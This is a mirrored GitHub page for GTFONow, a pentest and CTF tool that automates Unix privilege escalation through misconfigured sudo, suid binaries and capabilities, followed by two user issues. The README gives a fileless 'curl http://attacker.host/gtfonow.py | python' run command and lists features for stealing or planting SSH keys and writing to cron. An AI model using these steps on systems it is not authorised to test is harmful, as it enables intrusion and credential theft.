GithubHelp home page GithubHelp logo

frissi0n / gtfonow Goto Github PK

View Code? Open in Web Editor NEW
534.0 9.0 68.0 71 KB

Automatic privilege escalation for misconfigured capabilities, sudo and suid binaries using GTFOBins.

License: MIT License

Python 98.99% Dockerfile 1.01%
pentesting ctf suid-binaries privilege-escalation post-exploitation gtfobins hackthebox pentest redteam hacking security security-tools ctf-tools offensive-security

gtfonow's Introduction

Main Branch

GTFONow

Automatic privilege escalation on unix systems by exploiting misconfigured setuid/setgid binaries, capabilities and sudo permissions. Designed for CTFs but also applicable in real world pentests.

asciicast

โœ… Features

  • Automatically exploit misconfigured sudo permissions.
  • Automatically exploit misconfigured suid, sgid permissions.
  • Automatically exploit misconfigured capabilities.
  • Automatically convert arbitrary file read primitive into shell by stealing SSH keys.
  • Automatically convert arbitrary file write primitive into shell by dropping SSH keys.
  • Automatically convert arbitrary file write primitive into shell by writing to cron.
  • Automatically convert arbitrary file write primitive into shell using LD_PRELOAD.
  • Single file, easy to run fileless with curl http://attackerhost/gtfonow.py | python

๐Ÿ’ป Usage

To use GTFONow, simply run the script from your command line. The basic syntax is as follows:

python gtfonow.py [OPTIONS]

It can also be run by piping the output of curl:

curl http://attacker.host/gtfonow.py | python

Options

  • --level: Sets the level of checks to perform. You can choose between:
    • 1 (default) for a quick scan.
    • 2 for a more thorough scan.
    • Example: python gtfonow.py --level 2
  • --risk: Specifies the risk level of the exploit to perform. The options are:
    • 1 (default) for safe operations.
    • 2 for more aggressive operations such as file modifications, primarily for use in CTFs, if using on real engagements, ensure you understand what this is doing.
    • Example: python gtfonow.py --risk 2
  • --command: Issues a single command instead of spawning an interactive shell. This is mainly for debugging purposes.
    • Example: python gtfonow.py --command 'ls -la'
  • --auto: Automatically exploits without user wizard.
  • -v, --verbose: Enables verbose output.
    • Example: python gtfonow.py --verbose

Compatibility

By design GTFONow is a backwards compatible, stdlib only python script, meaning it should work on any variant of Unix if Python is installed.

  • Python2.*
  • Python3.*
  • No 3rd party dependencies
  • Any Unix Variant (Linux, MacOS,*Nix)
  • Any architecture eg (X86/ARM64/X86-64)

๐Ÿ™ Credits

gtfonow's People

Contributors

come2darkside avatar frissi0n avatar github-actions[bot] avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

gtfonow's Issues

Interactionless mode

Currently GTFONow provides the user an interactive wizard for exploiting the host. If stdin is not available, or the user just wants to instantly pop a shell without choosing options, we should provide an interactionless mode.

Upon finding exploitable ssh-agent it asks for "sudo password" and immediately crashes

Upon finding exploitable ssh-agent it asks for "sudo password" and immediately crashes. I tried running it with -a flags (same behavior) and with "--sudo_password", where it asks for the sudo password once, and once provided it prompts for it again and crashes.

Running on kali-linux over wsl2 for tests, but I could test on Arch linux (no wsl) too if needed.

โฏ python gtfonow.py --sudo_password


/ / / / __ / |/ / _ __
/ (
/ / / / // // / / _ \ |/|/ /
_
/ /
/ // _//|/_/,__/

https://github.com/Frissi0n/GTFONow

[!] Found exploitable sgid binary: /usr/bin/ssh-agent
Enter sudo password:

[sudo] password for tux: Command timed out. User may need to enter a password.
Traceback (most recent call last):
File "/home/tux/hack/GTFONow/gtfonow/gtfonow.py", line 4224, in
main()
File "/home/tux/hack/GTFONow/gtfonow/gtfonow.py", line 4200, in main
sudo_privescs, suid_privescs, cap_privescs = perform_privilege_escalation_checks(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/tux/hack/GTFONow/gtfonow/gtfonow.py", line 4100, in perform_privilege_escalation_checks
cap_privescs.extend(check_cap_bins())
^^^^^^^^^^^^^^^^
File "/home/tux/hack/GTFONow/gtfonow/gtfonow.py", line 3792, in check_cap_bins
if check_capability(binary_path, "cap_setuid"):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/tux/hack/GTFONow/gtfonow/gtfonow.py", line 3672, in check_capability
if capability in result:
^^^^^^^^^^^^^^^^^^^^
TypeError: a bytes-like object is required, not 'str'

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.